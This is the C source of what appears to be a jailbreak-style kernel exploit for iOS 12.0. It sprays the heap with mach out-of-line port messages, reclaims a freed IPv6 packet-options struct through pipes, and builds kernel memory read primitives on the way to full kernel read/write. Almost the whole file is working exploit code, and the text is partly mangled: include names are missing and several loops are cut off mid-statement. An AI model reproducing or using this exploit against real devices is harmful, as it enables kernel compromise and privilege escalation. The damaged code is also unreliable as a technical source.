// // exploit.c // se12.0exploit // // Created by Justin Sherman on 1/13/20. // Copyright © 2020 Justin Sherman. All rights reserved. // #include #include #include #include #include #include #include #include #include "array.h" #include "exploit.h" static const int PROC_TASK_OFFSET = 0x10; static const int PROC_PID_OFFSET = 0x60; static const int PROC_UCRED_OFFSET = 0xf8; static const int TASK_VMMAP_OFFSET = 0x20; static const int TASK_ITK_REGISTERED_OFFSET = 0x2e8; static const int TASK_BSDINFO_OFFSET = 0x358; static const int POSIX_CRED_CR_UID_OFFSET = 0x18; static const int POSIX_CRED_CR_RUID_OFFSET = 0x1c; static const int POSIX_CRED_CR_SVUID_OFFSET = 0x20; static const int POSIX_CRED_CR_RGID_OFFSET = 0x68; static const int POSIX_CRED_CR_SVGID_OFFSET = 0x6c; static const int UCRED_CR_LABEL_OFFSET = 0x78; /* pipe stuff */ static const int PIPE_PIPEBUF_BUFFER_OFF = 0x10; /* these offsets were found in fp_getfvp */ static const int PROC_P_FD_OFFSET = 0x100; static const int FILEDESC_FD_OFILES_OFFSET = 0; static const int FILEDESC_FD_NFILES_OFFSET = 0x48; static const int FILEPROC_F_FGLOB_OFFSET = 0x8; /* these offsets were found in mac_file_setxattr */ static const int FILEGLOB_FG_OPS_OFFSET = 0x28; static const int FILEGLOB_FO_TYPE_OFFSET = 0; static const int FILEGLOB_FG_DATA_OFFSET = 0x38; /* so we can tell which pipe we wrote to if our process has multiple pipes */ static const uint64_t FAKE_TASK_PIPE_MAGIC = 0x1133557799bbddff; /* I use ip6_pktopts->ip6po_minmtu to store metadata about where a given * ip6_pktopts struct got reallocated. * |31 16 |15 0 * **************** **************** * minmtu magic idx of pipe * */ static const uint32_t MINMTU_MAGIC = 0xcafe; static const uint32_t MINMTU_MAGIC_MASK = 0xffff0000; static const uint32_t MINMTU_PIPEIDX_MASK = 0x0000ffff; #define MAGIC_FROM_MINMTU(minmtu) (((minmtu) & MINMTU_MAGIC_MASK) >> 16) #define PIPEIDX_FROM_MINMTU(minmtu) ((minmtu) & MINMTU_PIPEIDX_MASK) static const uint64_t LEAKED_PORT_CONTEXT = 0x1122334455667788; /* I use ipc_port->ip_context to store metadata about where our fake port got * reallocated. * |63 32 31| 0 * ******************************** ********************************* * fake port context magic idx of pipe * */ static const vm_address_t CONTEXT_MAGIC_MASK = 0xffffffff00000000; static const vm_address_t CONTEXT_PIPEIDX_MASK = 0x00000000ffffffff; static const vm_address_t CONTEXT_MAGIC = 0xaabbccdd; #define MAGIC_FROM_CONTEXT(ctx) (((ctx) & CONTEXT_MAGIC_MASK) >> 32) #define PIPEIDX_FROM_CONTEXT(ctx) ((ctx) & CONTEXT_PIPEIDX_MASK) static kern_return_t create_IOSurface_client(mach_port_t *client_out, uint32_t *surface_id_out){ CFMutableDictionaryRef matching_dict = IOServiceMatching("IOSurfaceRoot"); if(!matching_dict) return KERN_FAILURE; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching_dict); if(service == IO_OBJECT_NULL) return KERN_FAILURE; io_connect_t client = IO_OBJECT_NULL; kern_return_t kret = IOServiceOpen(service, mach_task_self(), 0, &client); if(kret) return kret; uint32_t dict[] = { kOSSerializeBinarySignature, kOSSerializeEndCollection | kOSSerializeDictionary | 1, kOSSerializeString | 19, 0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, /* "IOSurfaceAllocSize" */ kOSSerializeEndCollection | kOSSerializeNumber | 32, 0x1000, 0x0, }; /* iPhone 8,4 iOS 12.0 (16A366) */ size_t surface_sz = 0xdd0; char *surface = malloc(surface_sz); kret = IOConnectCallStructMethod(client, IOSURFACE_CREATE, dict, sizeof(dict), surface, &surface_sz); if(kret) return kret; *surface_id_out = *(uint32_t *)((uint8_t *)surface + 0x18); free(surface); surface = NULL; *client_out = client; return KERN_SUCCESS; } static mach_port_t kalloc(int len){ mach_port_t recv_port; kern_return_t kret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &recv_port); if(kret) return MACH_PORT_NULL; mach_port_limits_t limits = {0}; limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; mach_msg_type_number_t cnt = MACH_PORT_LIMITS_INFO_COUNT; mach_port_set_attributes(mach_task_self(), recv_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, cnt); struct ool_msg { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_port_desc; }; int port_count = len / 8; /* calloc for MACH_PORT_NULL */ mach_port_t *ports = calloc(port_count, sizeof(mach_port_t)); struct ool_msg *oolmsg = malloc(sizeof(struct ool_msg)); oolmsg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0) | MACH_MSGH_BITS_COMPLEX; oolmsg->hdr.msgh_size = sizeof(struct ool_msg); oolmsg->hdr.msgh_remote_port = recv_port; oolmsg->hdr.msgh_local_port = MACH_PORT_NULL; oolmsg->hdr.msgh_id = 0xaabbccdd; oolmsg->body.msgh_descriptor_count = 1; mach_msg_ool_ports_descriptor_t *opd = &oolmsg->ool_port_desc; opd->address = ports; opd->count = port_count; opd->deallocate = 0; opd->copy = MACH_MSG_PHYSICAL_COPY; opd->disposition = MACH_MSG_TYPE_MAKE_SEND; opd->type = MACH_MSG_OOL_PORTS_DESCRIPTOR; kret = mach_msg(&oolmsg->hdr, MACH_SEND_MSG, sizeof(*oolmsg), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL); free(oolmsg); free(ports); if(kret) return MACH_PORT_NULL; return recv_port; } static mach_port_t kalloc_with_port(int len, mach_port_t port){ mach_port_t recv_port; kern_return_t kret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &recv_port); if(kret) return MACH_PORT_NULL; mach_port_limits_t limits = {0}; limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; mach_msg_type_number_t cnt = MACH_PORT_LIMITS_INFO_COUNT; mach_port_set_attributes(mach_task_self(), recv_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, cnt); struct ool_msg { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_port_desc; }; int port_count = len / 8; mach_port_t *ports = malloc(sizeof(mach_port_t) * port_count); for(int i=0; ihdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0) | MACH_MSGH_BITS_COMPLEX; oolmsg->hdr.msgh_size = sizeof(struct ool_msg); oolmsg->hdr.msgh_remote_port = recv_port; oolmsg->hdr.msgh_local_port = MACH_PORT_NULL; oolmsg->hdr.msgh_id = 0xaabbccdd; oolmsg->body.msgh_descriptor_count = 1; mach_msg_ool_ports_descriptor_t *opd = &oolmsg->ool_port_desc; opd->address = ports; opd->count = port_count; opd->deallocate = 0; opd->copy = MACH_MSG_PHYSICAL_COPY; opd->disposition = MACH_MSG_TYPE_MAKE_SEND; opd->type = MACH_MSG_OOL_PORTS_DESCRIPTOR; kret = mach_msg(&oolmsg->hdr, MACH_SEND_MSG, sizeof(*oolmsg), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL); free(oolmsg); free(ports); if(kret) return MACH_PORT_NULL; return recv_port; } static int create_vulnerable_socket(void){ int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); if(s == -1){ printf("error creating socket: %s\n", strerror(errno)); return -1; } struct so_np_extensions ex = { .npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT }; setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &ex, sizeof(ex)); int minmtu = IP6PO_MINMTU_ALL; setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu)); return s; } static int get_minmtu(int socket, uint32_t *minmtu){ socklen_t minmtu_sz = sizeof(*minmtu); return getsockopt(socket, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &minmtu_sz); } static int get_tclass(int socket, uint32_t *tclass){ socklen_t sz = sizeof(*tclass); return getsockopt(socket, IPPROTO_IPV6, IPV6_TCLASS, tclass, &sz); } static int increase_file_limit(void){ struct rlimit rl = {0}; int err = getrlimit(RLIMIT_NOFILE, &rl); if(err){ printf("%s: getrlimit: %s\n", __func__, strerror(errno)); return err; } rl.rlim_cur = OPEN_MAX; rl.rlim_max = rl.rlim_cur; err = setrlimit(RLIMIT_NOFILE, &rl); if(err){ printf("%s: setrlimit: %s\n", __func__, strerror(errno)); return err; } return 0; } static int _EarlyKernelRead64(int s, int *p, uint64_t kaddr, uint64_t *out){ struct ip6_pktopts old_pktopts = {0}; read(p[0], &old_pktopts, sizeof(old_pktopts)); struct ip6_pktopts new_pktopts = {0}; new_pktopts.ip6po_pktinfo = kaddr; write(p[1], &new_pktopts, sizeof(new_pktopts)); struct in6_pktinfo info = {0}; socklen_t infosz = sizeof(info); getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, &info, &infosz); /* I know I get 20 bytes from this, but reading 20 bytes at a time is weird */ *out = *(uint64_t *)&info; return 0; } static int _EarlyKernelRead32(int s, int *p, uint64_t kaddr, uint32_t *out){ uint64_t out64 = 0; if(_EarlyKernelRead64(s, p, kaddr, &out64)) return 1; *out = *(uint32_t *)&out64; return 0; } static int _EarlyKernelReadN(int s, int *p, uint64_t kaddr, uint8_t *out, size_t length){ if(length % sizeof(uint32_t) != 0){ printf("%s: length needs to be divisible by %d\n", __func__, sizeof(uint32_t)); return 1; } uint64_t current_loc = kaddr; uint64_t end = kaddr + length; size_t bytes_read = 0; size_t bytes_left = length; int ret = 0; while(current_loc < end && ret == 0){ size_t chunk = sizeof(uint32_t); if(chunk > bytes_left) chunk = bytes_left; uint32_t out32 = 0; ret = _EarlyKernelRead32(s, p, current_loc, &out32); *(uint32_t *)(out + bytes_read) = out32; bytes_read += chunk; current_loc += chunk; bytes_left -= chunk; } return ret; } #define EarlyKernelRead32(kaddr, out) _EarlyKernelRead32(evil_socket, evil_pipe, (kaddr), (out)) #define EarlyKernelRead64(kaddr, out) _EarlyKernelRead64(evil_socket, evil_pipe, (kaddr), (out)) #define EarlyKernelReadN(kaddr, out, len) _EarlyKernelReadN(evil_socket, evil_pipe, (kaddr), (out), (len)) static kern_return_t KernelRead(mach_port_t tfp0, vm_address_t kaddr, void *buffer, vm_size_t length){ vm_address_t current_loc = kaddr; vm_address_t end = kaddr + length; vm_size_t bytes_read = 0; vm_size_t bytes_left = length; kern_return_t kret = KERN_SUCCESS; while(current_loc < end && kret == KERN_SUCCESS){ vm_size_t chunk = 0x100; if(chunk > bytes_left) chunk = bytes_left; kret = vm_read_overwrite(tfp0, current_loc, chunk, (vm_address_t)((uint8_t *)buffer + bytes_read), &chunk); bytes_read += chunk; current_loc += chunk; bytes_left -= chunk; } return kret; } static kern_return_t KernelWrite(mach_port_t tfp0, vm_address_t kaddr, void *data, mach_msg_type_number_t size){ return vm_write(tfp0, kaddr, (vm_offset_t)data, size); } static int _proc_pipes(int evil_socket, int *evil_pipe, uint64_t ourproc, uint64_t **pipes_out, int *pipecnt_out){ uint64_t p_fd = 0; EarlyKernelRead64(ourproc + PROC_P_FD_OFFSET, &p_fd); uint64_t fd_ofiles = 0; EarlyKernelRead64(p_fd + FILEDESC_FD_OFILES_OFFSET, &fd_ofiles); uint32_t fd_nfiles = 0; EarlyKernelRead32(p_fd + FILEDESC_FD_NFILES_OFFSET, &fd_nfiles); int pipecnt = 0; uint64_t *pipes = NULL; for(uint32_t i=0; i maxtime){ maxtime = time; printf("new maxtime %lld @ %d\n", maxtime, i); } if(time > 100000){ printf("Maybe gc at %d\n", i); gc_brk = i; break; } } int num_gcports = gc_brk != 0 ? gc_brk : num_gc_kallocs; /* ensure enough free pages for future garbage collection to reclaim */ for(int i=0; i num_pipes){ printf("pipe idx (%d) > num_pipes (%d)????\n", possible_evil_pipe, num_pipes); CLEANUP; return 1; } evil_pipe = pipes[possible_evil_pipe]; got_evil_things = 1; } uint64_t possible_kptr = ((uint64_t)minmtu << 32) | tclass; uint64_t mask = 0xffffffe000000000; uint64_t result = 0xffffffe000000000; if((possible_kptr & mask) == result){ /* so the top 24 bits are valid... what about the other 40? */ uint64_t bottom40 = possible_kptr & 0xfffffffff; if(bottom40 < 0x100000000 && bottom40 > 0x10000) array_insert(kernel_pointer_array, possible_kptr); } } if(evil_socket == -1){ printf("Couldn't reallocate a controlled ip6_pktopts struct in kalloc.512\n"); CLEANUP; return 1; } uint32_t minmtu = 0; if(get_minmtu(evil_socket, &minmtu)){ printf("Couldn't read minmtu from evil_socket? %s\n", strerror(errno)); CLEANUP; return 1; } printf("Got a controlled ip6_pktopts struct in kalloc.512, minmtu: %#x\n", minmtu); printf("Evil socket: %d\n", evil_socket); /* don't need all these anymore */ for(int i=0; ilen; i++){ uint64_t cur_kaddr = kernel_pointer_array->items[i]; int occurences = 0; for(int j=0; jlen; j++){ if(kernel_pointer_array->items[j] == cur_kaddr) occurences++; } if(occurences > max_occurences){ most_frequent_kaddr = cur_kaddr; max_occurences = occurences; } } array_destroy(&kernel_pointer_array); if(most_frequent_kaddr == 0){ printf("Something went wrong while trying to find the mode of kptr array\n"); return 1; } printf("Most frequent kernel pointer is %#llx with %d occurences " "(if it isn't from the OOL allocations we'll probably panic)\n", most_frequent_kaddr, max_occurences); kport_t kport = {0}; EarlyKernelReadN(most_frequent_kaddr, &kport, sizeof(kport)); uint64_t leaked_port_kaddr = 0; if(kport.ip_context == LEAKED_PORT_CONTEXT) leaked_port_kaddr = most_frequent_kaddr; else{ printf("%#llx is not from the OOL allocations?\n", most_frequent_kaddr); for(int i=0; i